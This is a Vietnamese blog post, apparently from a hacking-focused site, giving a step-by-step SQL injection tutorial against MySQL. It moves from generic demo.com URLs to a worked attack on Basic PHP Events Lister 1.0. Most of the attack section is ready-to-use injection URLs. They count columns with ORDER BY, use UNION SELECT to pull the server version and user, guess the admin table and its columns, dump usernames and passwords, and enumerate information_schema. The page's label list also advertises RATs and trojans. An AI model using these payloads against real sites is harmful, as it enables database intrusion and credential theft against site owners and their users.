Hướng Dẫn Khai Thác SQL Injection Đối Với My SQL

SQL Injection là 1 lỗ hổng khá phổ biến và quen thuộc với hầu hết những ai đam mê hacking, nhưng hầu hết chỉ biết nó là 1 lỗ hổng để khai th...

SQL Injection là 1 lỗ hổng khá phổ biến và quen thuộc với hầu hết những ai đam mê hacking, nhưng hầu hết chỉ biết nó là 1 lỗ hổng để khai thác nhằm mục đích cá nhân nhưng ít ai lại tìm hiểu về định nghĩa, lí thuyết và cách thức gây ra lỗi của nó.
  

SQL Injection



1. Định Nghĩa:

SQL Injection là 1 lỗi xảy ra trong quá trình xử lí câu truy vấn SQL (SQL Query) có xuất hiện các kí tự đặc biệt, kí tự không hợp lệ hay không tồn tại trong cơ sở dữ liệu(database). Giúp cho kẻ tấn công dễ dàng khai thác ngay trên nơi chứa dữ liệu đầu vào của ứng dụng, website...

2. Cách thức gây ra lỗi:

Lỗi chỉ xảy ra khi ta thêm các kí tự đặc biệt như ',",*,-,... mà kết quả trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì có nghĩa là trang đó đã dính lỗi sql injection trong lúc thực hiện truy vấn.

3. Kiểm tra và Khai thác:

 Để kiểm tra lỗi ta thực hiện thêm ',",*,- vào các giá trị đầu vào của website, chẳng hạn như tôi có

http://www.demo.com/index.php?id=1

thì id=1 của nó
id <== dữ liệu đầu vào

1 <== giá trị của dữ liệu đầu vào

ta tiến hành thêm các kí tự ',",*,-,... thì nó sẽ thành

http://www.demo.com/index.php?id=1'

http://www.demo.com/index.php?id=1"

http://www.demo.com/index.php?id=1*

http://www.demo.com/index.php?id=-1

Nếu kết quả nó trả về là rỗng (empty, null, hoặc trang trắng) hay trả về dòng thông báo lỗi như Error, Falcal thì cho thấy website bị dính lỗi sql injection

Khai thác cơ bản - Đếm column (số cột) tồn tại trong table hiện tại mà website đang sử dụng:
Thực hiện bước này để ta đếm được số cột (column) tồn tại trong table hiện tại đang được sử dụng

ta có 2 truy vấn để thực hiện việc đếm số cột:

order by number

group by number

giả sử tôi có 1 website đang sử dụng table "sonictable" và trong table đó có 3 column(3 cột)

cột 1 tôi lấy tên là "id"

cột 2 tôi lấy tên là "content"

cột 3 tôi lấy tên là "authors"

Khi tôi muốn thực hiện đếm cột tôi sẽ thực hiện truy vấn như sau:

http://www.demo.com/index.php?id=1 order by 1-- -

=> bình thường (có tồn tại cột thứ 1)

http://www.demo.com/index.php?id=1 order by 3-- -

=>bình thường ( có tồn tại cột 3 )

nhưng khi tôi đếm sang cột thứ 4

http://www.demo.com/index.php?id=1 order by 4-- -

=> bị lỗi trả về kết quả là error hoặc rỗng hoặc falcal

tức là website không tồn tại cột thứ 4

Khai thác cơ bản - tìm cột bị lỗi và tiến hành khai thác
để tìm được cột bị lỗi, tôi dùng query

union select number

sau khi tôi đã tìm được số cột, tôi tiến hành tìm cột nào được hiển thị và có lỗi bằng query "union select" và tôi tìm được 3 cột tồn tại trong table, tôi có query để hiện thị các table được sử dụng hiển thị ra màn hình như sau:

http://www.demo.com/index.php?id=1 union select 1,2,3

Lưu ý nhỏ: ** Khi union ta phải đưa giá trị về null để có thể hiện cột được sử dụng

http://www.demo.com/index.php?id=null union select 1,2,3

giả sử nó hiện số 2 ra tức là column thứ 2 (column "content") đang được sử dụng để hiển thị nội dung, ta đánh dấu các column bằng số vì nó dễ nhìn (nếu có kiến thức thì có thể dùng cách khác để đánh dấu)

tới đây, ta tiến hành khai thác column thứ 2, ta khai thác version của sql mà server đang sử dụng

http://www.demo.com/index.php?id=null union select 1,version(),3

kết quả trả ra ngay vị trí thứ 2 sẽ là version của sql mà server đang sử dụng

* Mở rộng: ta có thể dùng hàm concat để hiển thị gộp tất cả các giá trị ta muốn hiển thị như version, database name, username database

http://www.demo.com/index.php?id=null union select 1,concat(version(),database(),user()),3

*và 1 rắc rối nhỏ là ta sẽ được trả ra 1 kết quả của version,database name, username database bị dính chùm rất khó nhìn, ta có thể tách nó ra bằng 1 đoạn mã hex 0x7c (7c là hex của "|" sau khi đã được chuyển thành hex)

http://www.demo.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3

và hiển thị lại không bị khó nhìn nữa.

Về cơ bản thì tới đây các bạn cũng nắm rõ phần nào về lỗ hổng sql injection, định nghĩa và khai thác của nó. ngoài ra các bạn có thể tham khảo thêm các video khai thác, các hướng dẫn khai thác để tiếp tục học hỏi thêm về sql injection.

Cách tiếp cận khác:

I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL 
Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 

Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1 
Thực hiện thêm dấu ' sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1' 
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau: 

Code:

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37


Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì? 
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này 
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau. 
(Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được). 
Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường. 

Lần lượt mình thử: 
Code:

http://seamoun.com/phpevents/event.php?id=1 order by 1
http://seamoun.com/phpevents/event.php?id=1 order by 2
http://seamoun.com/phpevents/event.php?id=1 order by 3
...

http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK)
http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)


Như vậy truy vấn SQL với URL trên là 15 trường (field) 
Đến đây có thể điều tra phiên bản SQL, user với lệnh sau 
Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1

http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1



Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như 
manager, admin, administrator, systemlogin, ... (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select ... nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau: 

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)


Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được. 
Có thể đoán tên trường trong bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau 

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu

http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)


Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với 
2 trường uname và pword + tên bảng là admin 
Thực hiện lệnh: 

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.


Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass 

Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword. 
0x3a---> dấu ":". Concat sẽ thực hiện cộng chuỗi 

Đến đây ta đã có thông tin uname và pword. 
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau 

Code:

Điều tra thông tin bảng:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables

Điều tra thông tin trường:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns


Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như: 
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin 

II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com) 
Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL - Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.

COMMENTS

Tên

.:: Connect Trojan ::.,111,.htaccess,2,0-day,3,2017,2,Add-on,16,Anotador,1,AutoIT,17,Ấn Độ,1,BackDoor,1,Bán Sách,13,banhangonline,1,Bảo Mật,105,Bất Động Sản Tại Tiền Giang,4,Bestsellers,13,Binder,1,blog,31,Blogger,4,Blogger Template,1,Botnet,3,Brute,1,Bug Bounty,1,Bypass,10,ceh,1,Châu Tinh Trì,2,Checked,6,Chiến tranh,2,Chrome,21,Code,5,coin hive,1,Coin-Hive,2,CoinHive,1,Connect Trojan,342,Connect Trojan ::.,1,Cổ Tích,2,Cổ Trang,11,Crack,3,Crypto,5,CSRF,5,CSS,2,Cuộc Sống,1,DDoS,6,Designer,1,Dich vụ,1,DNS,4,Download,2,du-an,2,DVD LUMION Tiếng Việt của anh Dũng Già Pro,1,Đam Mỹ,1,điện,1,Đồ Họa,215,Đô Thị,16,e11.me,1,ebook,13,ebook free,286,eBook Phệ Hồn Nghịch Thiên,1,eBook Thịnh Thế Địch Phi,1,Encrypt,1,Encryption,1,epub,77,epub [Tiên hiệp],1,ET-Logger,1,exploit,23,Exploitation,1,Extractor,2,facebook,69,FireFox,15,Flood,2,Forensic,7,full prc,2,game,177,Gerador,3,Gerenciador,1,Get Root,3,GHDB,3,Giả Tưởng,1,giaitri,1,Google,15,H&Y Shop,2,Hacker,3,Hacking,10,Hacking and Security,6,Hacking Tools,36,Hài hước,8,Hành Động,9,He Thong Site Phim,25,Hijacking,6,Hình Sự,5,hivecoin.hive coin,1,Hỏi Xoáy Đáp Xoay Trên VTV3,1,Hồng Kông,3,HTML,1,Huyền Ảo,92,Hướng dẫn Internet cơ bản,1,IFTTT,703,Imgur,2,Infographic,1,Information Disclosure,1,Internet Explorer,3,IT News,39,J2TeaM,29,J2TeaM Tools,9,JavaScript,6,Javascript Injection,3,Juno_okyo's Blog,23,Khóa Học,27,khoá học miễn phí,16,Khóa học Photoshop,19,Khóa học sử dụng mã độc và phòng chống mã độc,1,Khoa Huyễn,6,kiemhiep,9,Kiếm Hiệp,20,Kiếm Tiền MMO,31,kiếm tiền rút gọn link,1,KilerRat,1,Kinh Dị,25,Kinh Dị - Ma,6,Kinh Doanh,73,kinhdi,1,kinhdoanh,5,KRACK Attacks,1,Lãng mạn,1,Lập trình,2,Lịch Sử,5,Linux,1,Local Attack,2,Logins/Cadastro,1,Lỗi Web,1,Lồng Tiếng,6,Lược Sử Hacker,2,Mã Giảm Giá,1,Mã Hóa,48,Malware,3,Master-Code,31,Máy Tính,1,Metasploit,2,Microsoft,4,mobile hacking,2,monero,1,Movie,25,MySQL,1,NEW PRODUCTS,19,NGHỆ THUẬT ẨN MÌNH,13,ngontinh,10,Ngôn Tình,151,Nhân Vật Lịch Sử,2,Nhật Bản,1,Nhựt Trường Group,1,NjRat,5,Nước,1,open redirect,1,Oracle,1,Path Disclosure,2,pdf,77,Pen-Test,6,Pentest Box,9,phanmem,22,phanmemdienthoai,3,phanmemmaytinh,10,phần mềm,11,Phim 18,2,Phim 2012,1,Phim 3D,1,Phim Âm Nhạc,2,Phim Bộ,58,Phim Chiến Tranh,5,Phim Dã Sử - Cổ Trang,6,Phim Đài Loan,6,Phim Đang Cập Nhập,5,Phim Đề Cử,4,Phim Hài Hước,26,Phim Hàn Quốc,33,Phim HD Chất Lượng Cao,5,Phim Hoàn Thành,7,Phim Hoạt Hình,2,Phim Hot,2,Phim Hồng Kông,20,Phim HQ,15,Phim Kinh Dị,8,Phim lẻ,7,Phim Mới 2007,1,Phim Mới 2010,1,Phim Mới 2011,4,Phim Mới 2012,2,Phim Mới 2013,2,Phim Mới 2014,6,Phim Mới 2015,4,Phim Nhật Bản,4,Phim SD,12,Phim Thái Lan,6,Phim Thần Thoại,4,Phim Tình Cảm,35,Phim Trung Quốc,37,Phim Truyền Hình,32,Phim Viễn Tưởng,1,Phim Võ Thuật,36,Phim Xã Hội Đen,1,Phishing,5,PHP,16,Plugin,1,Port,1,prc,79,Programming,15,Python,1,Quảng Cáo,1,rat,457,Recovery,3,Remote Code Execution,1,Remote Desktop,1,Reverse Engineering,6,rút gọn link,1,sach,47,Sách,33,Sách Nghệ Thuật Sống,12,Sách Tâm Linh,1,Sách Tiếng Anh,2,sachiep,2,Sản Phẩm,1,Sắc Hiệp,16,Scam,1,Scanner,10,Security,66,SEO,5,share,1,Shell,5,Social Engineering,4,Software,22,Source Unity,1,SQL injection,21,Sức Khỏe,1,Symlink,3,Tài Liệu,1,Tản mạn,7,Taudio,2,Tâm lý xã hội,1,tấn công,1,Testador,1,Thái Lan,2,Tham Khảo,3,thamkhao,11,Thành Long,1,them,1,Thiết Kế Web,28,Thời Trang,2,Thủ Thuật Hacking,53,Thuyết Minh,5,tienhiep,5,Tiên Hiệp,123,Tiểu Thuyết,100,TIL,8,Tin Tức,49,Tình Cảm - Tâm Lý,16,Tips,39,tool,1,Tool Hack,14,Tools,9,Tổng Hợp,1,Tricks,26,Trinh thám,1,Trinh Thám - Hình Sự,8,trojan original,48,Trọng sinh,11,Trộm mộ,1,Trung Quốc,9,Truyện,1,Trương Định,110,Tu Chân,2,TUTORIALS,124,TVB,3,Twitter,1,Ung_Dung,4,Upload,1,usb,1,vanhoc,11,văn học,6,vBulletin,7,video,16,Vietsub,3,Việt Nam,14,Virus,4,Võ Thuật,12,Võng Du,5,Vulnerability,19,Web Developer,15,webmau,5,WHMCS,3,WiFi,2,wiki lỗi máy tinh,1,wiki lỗi NTG,3,Windows,12,WordPress,43,Write-up,11,XSS,16,Yahoo,1,yeah1offer,1,youtube,11,
ltr
item
NhutTruong.Com - Dịch Vụ CNTT: Hướng Dẫn Khai Thác SQL Injection Đối Với My SQL
Hướng Dẫn Khai Thác SQL Injection Đối Với My SQL
https://2.bp.blogspot.com/-DMoH1-d3nL4/VSIP2Hs9iLI/AAAAAAAAHUc/teNvcqUpvgs/s1600/9lessons-injection.png
https://2.bp.blogspot.com/-DMoH1-d3nL4/VSIP2Hs9iLI/AAAAAAAAHUc/teNvcqUpvgs/s72-c/9lessons-injection.png
NhutTruong.Com - Dịch Vụ CNTT
https://www.nhuttruong.com/2017/04/huong-dan-khai-thac-sql-injection-oi.html
https://www.nhuttruong.com/
https://www.nhuttruong.com/
https://www.nhuttruong.com/2017/04/huong-dan-khai-thac-sql-injection-oi.html
true
7607280272436897486
UTF-8
Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow Đây là nội dung quý hiếm để tránh google quét chết link Vui lòng đăng nhập Facebook hoặt Tweet để like và share để hiện link Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy